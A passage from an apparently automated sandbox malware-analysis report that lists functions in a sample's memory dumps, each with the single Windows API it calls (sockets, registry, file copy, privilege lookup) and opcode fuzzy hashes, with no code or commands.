Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 3603f90fa4ea757c49e29fb932f5658eb0d32cf2ae6147b5b88c22b624486955
Instruction ID: 486f57bfe6f4f6d5791603e2408c020909228ae1852c45ad13de5ad855ce1dc2
Opcode Fuzzy Hash: 3603f90fa4ea757c49e29fb932f5658eb0d32cf2ae6147b5b88c22b624486955
Instruction Fuzzy Hash: 8021F3B25093C05FDB13CF25DC54692BFB4AF43324F0980DAEC848F663D2659908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 054222C2, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 0542232E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 0698820632894d848489c5bd9c1688c1d08e864de53b6352879c4ca282361ebd
Instruction ID: fd07403a69eb93549999ba0dcd29ee0bdb5311e4f68473f63405b079de29d457
Opcode Fuzzy Hash: 0698820632894d848489c5bd9c1688c1d08e864de53b6352879c4ca282361ebd
Instruction Fuzzy Hash: E021D171404240AFEB22CF69DD45FA6FBE9EF04320F04859EE9859B652D371A408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 054228CA, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 0542293E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: fe971ef536a63cacedcc1cb3f8a08f9c3d2859f22b3009a9ed92963588b0464d
Instruction ID: 1a07ff4fd0f691a2de1bceda6b5444333507c9dc93fb1b1e835df99149090620
Opcode Fuzzy Hash: fe971ef536a63cacedcc1cb3f8a08f9c3d2859f22b3009a9ed92963588b0464d
Instruction Fuzzy Hash: 5221F071504240AFE722CF19CD89FA6FFE8EF08320F44855EED899B251D2B5A509CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B7BA, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B81E

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 82b55aec378fb9318d6efe0800fe80e7ec777cb01f7641047622fcb32c13c06f
Instruction ID: 631684b69f964870f2bf15c1a9eac16841d38f595a208c8200ee34d265ced7ec
Opcode Fuzzy Hash: 82b55aec378fb9318d6efe0800fe80e7ec777cb01f7641047622fcb32c13c06f
Instruction Fuzzy Hash: B6119071500204AFEB21CF59DD85F66BB9CEF44720F14C56AED499B291D760E908CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05424200, Relevance: 1.6, APIs: 1, Instructions: 66fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE(?,?,?), ref: 0542426E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: ead4de9f51614685a90e45e50f2988dac0df38c1838c48945e6f92d98f551cdc
Instruction ID: 073df24c34467312f143432f82ad1e0fbbe48c63d6cb5e2d9ceb62d692e1bc74
Opcode Fuzzy Hash: ead4de9f51614685a90e45e50f2988dac0df38c1838c48945e6f92d98f551cdc
Instruction Fuzzy Hash: AD2181715093805FDB25CF65DC85B93BFE8EF45260F0984EBE949CB252D224D448CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AB77, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000E80,?,?), ref: 00C0ABFA

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 5abe55afce1d9a8e585959f43bd503025407dfd7f199c7cd72fe55e7be063981
Instruction ID: 737d61897e771f387fa54e647e52c343f35b61a96141c4013ae563d16999bee5
Opcode Fuzzy Hash: 5abe55afce1d9a8e585959f43bd503025407dfd7f199c7cd72fe55e7be063981
Instruction Fuzzy Hash: 7821A5715493C06FC312CB29DC45F66BFB4EF86610F0981DBE9848B653D225A919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C0BDFE, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00000E80), ref: 00C0BE87

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2e63a0bc42a1c3b70ed3be8e4e4ef400100ff87221b3b8263a986161d3abec6
Instruction ID: a031216cb35329495396ee08d86adbc17982a9601850cee5e5b18262617927f7
Opcode Fuzzy Hash: c2e63a0bc42a1c3b70ed3be8e4e4ef400100ff87221b3b8263a986161d3abec6
Instruction Fuzzy Hash: 0311E4714043806FE722CB15CD85FA6BFA8EF45320F04809AEE845B292D275A948CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0ACB7, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00C0AD24

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2ef2df2b08ce2ff08a13ec93e98a102d10dbac4c0d79315cc6d43d283eb70420
Instruction ID: b2ec1c52ed1fbc4dd0297d93b14580e98e0c8ba96dd875a9b71853b51375288e
Opcode Fuzzy Hash: 2ef2df2b08ce2ff08a13ec93e98a102d10dbac4c0d79315cc6d43d283eb70420
Instruction Fuzzy Hash: E5218EB540A3C05FEB128B25DC91792BFA4EF43320F0984DBED888F563D2659948CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0542252E, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 054225A0

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 26b070e437cb814a2dbb856403b56d13bddb415bc0347d938c055300c41de231
Instruction ID: c5bb6ffac1bbbbad22ffdd85de7a9521cc19f492d8a06d9b6eac101e856203fd
Opcode Fuzzy Hash: 26b070e437cb814a2dbb856403b56d13bddb415bc0347d938c055300c41de231
Instruction Fuzzy Hash: 1711AF76504210AFE721CF15CD85FA7BBE9FF04710F04C59AED459B252D6A0E448CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 054212C9, Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryShim.MSCOREE(?,?,?,?), ref: 05421345

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: LibraryLoadShim
String ID:
API String ID: 1475914169-0
Opcode ID: d50608e43f0baf79fa1f18c52131e9bd8a124a27763a5bce0da1241fdfe64e23
Instruction ID: 6f49411f05d40a18643ab203369e4bee2f18d7ea3d8e8816937bc6fd8b16c529
Opcode Fuzzy Hash: d50608e43f0baf79fa1f18c52131e9bd8a124a27763a5bce0da1241fdfe64e23
Instruction Fuzzy Hash: B42190B55093806FE7228F15DC45BA3BFA8FF46610F0880CAED85CB253D265E809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05422D46, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422DA5

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 23ada8bb1a43a60bab7f73088ee5aecb241ac44622e84bffb6beb91f08a79450
Instruction ID: fa801dc398bbd63670de567e98e2bf81b6a91bb970856681c08a109984267f07
Opcode Fuzzy Hash: 23ada8bb1a43a60bab7f73088ee5aecb241ac44622e84bffb6beb91f08a79450
Instruction Fuzzy Hash: 7411E671504310AFEB22CF55DE45FA7FBA8EF44320F04846AED499B251D674E404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05424144, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 054241AB

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 073effaeef3008f94f8aad30081c740d69c08e4868c65cef7d1a2a362c298db7
Instruction ID: 8893fc73b3eb16c8b88bace80f6f2ef0ad8acc16f07e520c8f5a47f0b296711a
Opcode Fuzzy Hash: 073effaeef3008f94f8aad30081c740d69c08e4868c65cef7d1a2a362c298db7
Instruction Fuzzy Hash: BE1172755093809FDB11CF65DC49BA3BFE8EF56220F0984EAE949CB252D224E948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 054232DA, Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542333E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 3a70ac96c10a966d35e5249a2346b1c3fafdd6ed0b0d6c6146cf5d11d71ecb90
Instruction ID: c0da998941e0db557840842453e78d0c66451c2bc7d4d796bc83f9e7b99251b4
Opcode Fuzzy Hash: 3a70ac96c10a966d35e5249a2346b1c3fafdd6ed0b0d6c6146cf5d11d71ecb90
Instruction Fuzzy Hash: C311E671400304AFE712CF59CE85FA7FBACEF44320F1488ABED48AB201D634A5088BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B6D2, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B72E

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 919d58b1e75985dd201e38db351598d964c6b4c071d753f4beb117bec7504b08
Instruction ID: abdca1fae5173b7e327c7b403e65fcca6181016ec5657bf699f94b68ebbbbdba
Opcode Fuzzy Hash: 919d58b1e75985dd201e38db351598d964c6b4c071d753f4beb117bec7504b08
Instruction Fuzzy Hash: 8F11EB71500300AFEB21CF69DE45B66FB98EF44320F14C46AED49DB251D774A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A86A, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 00C0A8DC

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ad3003f552ad94e7fe7986d1205a029b191d769193754395236eedd996c3e17f
Instruction ID: 19243efecec740d6bb241f868d7ebebd00bd117e864820a109fd9343a4dc4d3a
Opcode Fuzzy Hash: ad3003f552ad94e7fe7986d1205a029b191d769193754395236eedd996c3e17f
Instruction Fuzzy Hash: 61215C7140D3C45FD7138B259C54652BFB4EF57624F0981DBDD848F1A3D2695908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B2D6, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B32C

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 499117d44e5717e0a76e92f493e567935f906f2a0dd6eede6f72be4123ff116c
Instruction ID: 4b2e5d27085cc26ccb2ff0da6d373b482649626ad7baed2923887cd0ab8f007e
Opcode Fuzzy Hash: 499117d44e5717e0a76e92f493e567935f906f2a0dd6eede6f72be4123ff116c
Instruction Fuzzy Hash: 4611E771500200AFEB11CF19DE85B66BB9CEF44320F14C46AED48DB291D774A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A7BF, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00C0A82A

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 607b089a467d2c5ef011999c62c08ec97cdb2f12f4d0ac117881c0d49082e5a3
Instruction ID: 0a17a70901cb9365b0ef94ed69cfca68cc0012efae90d657e8d839dea4b12df8
Opcode Fuzzy Hash: 607b089a467d2c5ef011999c62c08ec97cdb2f12f4d0ac117881c0d49082e5a3
Instruction Fuzzy Hash: C0117271409380AFDB228F55DC44A62FFB4EF46320F08C59EED898B162D275A519DB62

Uniqueness

Uniqueness Score: -1.00%

Function 05421F6A, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05421FC9

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 0deb9654747ae9a5c7c73fa8091977663ecbab1d283545736f0d617f1dea1b33
Instruction ID: 35bbe77409463a284635155591c63d689ff6bc9e553c1085942a2568482b26af
Opcode Fuzzy Hash: 0deb9654747ae9a5c7c73fa8091977663ecbab1d283545736f0d617f1dea1b33
Instruction Fuzzy Hash: A711C871404340AFEB22CF55DE45FA7FBA8EF44320F14845AEE499B251D375A508CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 054242C9, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE(?), ref: 05424328

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 184ff9e46ef96e9285fa9488acd2d86f92e4ab6f6d9119f7c50421a790d201e7
Instruction ID: eb9c02e8d7d640f70cc2f9f6c1d95416e5b16ee1a0d9b3581a585ec1a250f13b
Opcode Fuzzy Hash: 184ff9e46ef96e9285fa9488acd2d86f92e4ab6f6d9119f7c50421a790d201e7
Instruction Fuzzy Hash: 571190729093809FDB11CF25DC45B93BFE8EF42220F0984EAED49CB252D224E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 054230F6, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542314F

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 648a7e47fb5b105a3ad14cc0b237de047879ee07925079a4a7e5a72ef1f69e5d
Instruction ID: a908af3110151ddfd8147ee283d005fdaf0949988bbcbfc5f379076a382c485f
Opcode Fuzzy Hash: 648a7e47fb5b105a3ad14cc0b237de047879ee07925079a4a7e5a72ef1f69e5d
Instruction Fuzzy Hash: 0B11A771400354AFE711CF55DE85FB6FBA8EF44720F14C8AAED499B241D274A4058BB5

Uniqueness

Uniqueness Score: -1.00%

Function 05422C76, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422CCC

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 055ecc8f52780e98c918b41b2beb8d1bcdb60c42409f0443d74b02f17f88ed1f
Instruction ID: dce55e39aa251faed6f8aa4ab6ede09c5e00edaa3f981e4ac304bac2a9a34858
Opcode Fuzzy Hash: 055ecc8f52780e98c918b41b2beb8d1bcdb60c42409f0443d74b02f17f88ed1f
Instruction Fuzzy Hash: 84112571404210AFEB12CF15DE89FA6FBA8EF44320F14C4ABED489B242D274A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05421ACC, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?), ref: 05421B20

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 0d85fc1349bbb840f7c647b6567a369847c45c571eb59ba3f4275c606baa559e
Instruction ID: 1ac2212d7c90f59c438dcba3e429799cf01290d03b73051baa97ad577f26ed03
Opcode Fuzzy Hash: 0d85fc1349bbb840f7c647b6567a369847c45c571eb59ba3f4275c606baa559e
Instruction Fuzzy Hash: 301194715093C49FD7128F15DC95B52BFB8EF46220F0880DBED898F652D2759448CB62

Uniqueness

Uniqueness Score: -1.00%

Function 054233BE, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542341D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 170e4ecff664810621ad3918568e3d4f0bb2089b0e336863c866cc90071b3c9d
Instruction ID: ea8ff0723ded725cd4ddf8ba8ff338617dd0098aecbaa1ac75d9b1bc0057181a
Opcode Fuzzy Hash: 170e4ecff664810621ad3918568e3d4f0bb2089b0e336863c866cc90071b3c9d
Instruction Fuzzy Hash: 4511CA71400710AFEB22CF55DD45FA6FBA8EF04710F04C59AED455B251D275E508CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0BE1E, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,00000E80), ref: 00C0BE87

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a2f5a3b8ef831f3ac41b9d98639531bb8be403aa0e3a94ca35e40131de07ecc7
Instruction ID: f94c594e9722bcef92f33097fc9897345cc23a17e32ce554a86293fb9a168326
Opcode Fuzzy Hash: a2f5a3b8ef831f3ac41b9d98639531bb8be403aa0e3a94ca35e40131de07ecc7
Instruction Fuzzy Hash: 68110C71500640AFE721DB15DD45FB6FB98DF04720F14C459EE445B2C2D375A948CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B960, Relevance: 1.6, APIs: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 00C0B9BD

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 59b3b6c15b32dab123b43ab3d69cd0e9562104406c7f6fe5bf03436a580066fa
Instruction ID: 4fb07642d5e1187f0b5dbee65d75814478128aaff419179a20c97db6153b9a88
Opcode Fuzzy Hash: 59b3b6c15b32dab123b43ab3d69cd0e9562104406c7f6fe5bf03436a580066fa
Instruction Fuzzy Hash: E9118F71409380AFDB22CF55DC44B52FFB4EF55220F08C59EEE888B152D275A918CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05424226, Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE(?,?,?), ref: 0542426E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 26b4616cdc6893e3043f114ae3e1bc10e93aac99710d9c3fbb26f19577295971
Instruction ID: dbcb31d9ddb28dc14c7d6512e44a1df6395ad7020635870563d6accb83e93906
Opcode Fuzzy Hash: 26b4616cdc6893e3043f114ae3e1bc10e93aac99710d9c3fbb26f19577295971
Instruction Fuzzy Hash: 82117C71A042508FDB65CF6AD985BA6BBE8EF44260F08C4AADD49CB742D634E404CE72

Uniqueness

Uniqueness Score: -1.00%

Function 054220EA, Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422140

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 089ca8865c73f969b420829f2a9752dca2837a7ebf028bd5f8f366f798effad7
Instruction ID: f5c317129f6724d07a9e62716282dc11adfe353817d3defde0ba98a2859241fc
Opcode Fuzzy Hash: 089ca8865c73f969b420829f2a9752dca2837a7ebf028bd5f8f366f798effad7
Instruction Fuzzy Hash: BB010875404210AEE712CF15CE85FBBFB98EF45720F04809AEE485B242D264A404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AD9E, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 00C0ADE6

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 30722aec0029569581319cace7c15b9bb1c84a7b6736ae21773114d54bc01542
Instruction ID: 3275f778ab9f3ac1b3fca573285f8a5c3f06c0647a82e96b31ff4c9674937149
Opcode Fuzzy Hash: 30722aec0029569581319cace7c15b9bb1c84a7b6736ae21773114d54bc01542
Instruction Fuzzy Hash: 42118E716003409FDB21CF6AD985B56FBD8EF04321F08C46ADD59CB682D270E904CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05424166, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 054241AB

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: ac6577e0cdd7bb232a8f5abc49cca4bf6dc97f611842b18b42b2c515a85e4747
Instruction ID: f70971c03e81e65835bae0e84f38b8924c6bc2826b629b5584cabf470e0a1085
Opcode Fuzzy Hash: ac6577e0cdd7bb232a8f5abc49cca4bf6dc97f611842b18b42b2c515a85e4747
Instruction Fuzzy Hash: AF11E1756042508FEB10CF2ADD89BA2FBD8EF04220F48C4ABDD09CB342E634E508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05421DDA, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05421E2D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 091cc9770bb6f304dc00f30749b6840905a4b4e69fb90f1dc06494c88b4dd0ed
Instruction ID: 14045b389b431e99058a634cb5ab5506799f9849d1c80e2167901ea474c63005
Opcode Fuzzy Hash: 091cc9770bb6f304dc00f30749b6840905a4b4e69fb90f1dc06494c88b4dd0ed
Instruction Fuzzy Hash: 92012671400350AEE711CB15CE89FB7FB98EF45720F04C09BED489B242D264A408CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 05420FEE, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32 ref: 05421036

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: b7d6d0713e36bd78490f17f1793d33e8b2794530d3c8c16027d72a8a89612ba2
Instruction ID: b94abe7b026d4b610363ceb8ab08f52a102f9548e0d46b483f966ce836f40689
Opcode Fuzzy Hash: b7d6d0713e36bd78490f17f1793d33e8b2794530d3c8c16027d72a8a89612ba2
Instruction Fuzzy Hash: DA0180756042908FDB60CF19D985BA7FBE8FF04620F48C0AADD49CBB52D665E448CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05423492, Relevance: 1.5, APIs: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 054234DE

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: 42b359454141bf9bc4bde2dd64beaf1de6c28406368159f2e7fbb7958cd89093
Instruction ID: 522d2306612b37c5b114c5e05dc9e3bb11895bb7956fea389efd69141cd7e7d8
Opcode Fuzzy Hash: 42b359454141bf9bc4bde2dd64beaf1de6c28406368159f2e7fbb7958cd89093
Instruction Fuzzy Hash: A9119E314002449FDB21CF55D944BA6FBF4FF04320F0889AADE898B622D235E448DB71

Uniqueness

Uniqueness Score: -1.00%

Function 054242EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE(?), ref: 05424328

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: e39d236ead20a4c0677f123dda6dbaf0f5bee305aeddaf15d7b950514653de25
Instruction ID: 64b2d65c235e68d41be615e12878c73bf4b3a93b5e7725eac4cac2945bdd928f
Opcode Fuzzy Hash: e39d236ead20a4c0677f123dda6dbaf0f5bee305aeddaf15d7b950514653de25
Instruction Fuzzy Hash: 84019E71A042508FDB51CF29D9857A6BBD8EF40620F48C4AADD49CB742D674E408CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A4D2, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E80,?,?), ref: 00C0A522

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1a89c14e4508538125822013ee7e1b2243b0db5ba70c8d2a06332bf98326eff8
Instruction ID: d9ce71908ef44c44ebf0a9c047407c8b36ef1e82fdb4a6d09669981bb0584a45
Opcode Fuzzy Hash: 1a89c14e4508538125822013ee7e1b2243b0db5ba70c8d2a06332bf98326eff8
Instruction Fuzzy Hash: 8501B171900200ABD750DF1ADC86B26FBA8FB84A20F14C16AED088B641E631F515CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B8DA, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExW.KERNEL32(?,00000E80,?,?), ref: 00C0B92A

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 5be363f99cec7c7072d505d0af7c5fbbc5ebd1a23e93f2950d305c4159730ea6
Instruction ID: f10676b659058599f7c2cc9fac1c4349013904a882fb3821cbd672f76d6c31e4
Opcode Fuzzy Hash: 5be363f99cec7c7072d505d0af7c5fbbc5ebd1a23e93f2950d305c4159730ea6
Instruction Fuzzy Hash: 6D01B171900200ABD350DF1ADC86F26FBA8FB84B20F14C12AED088B641E631F515CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B3E2, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

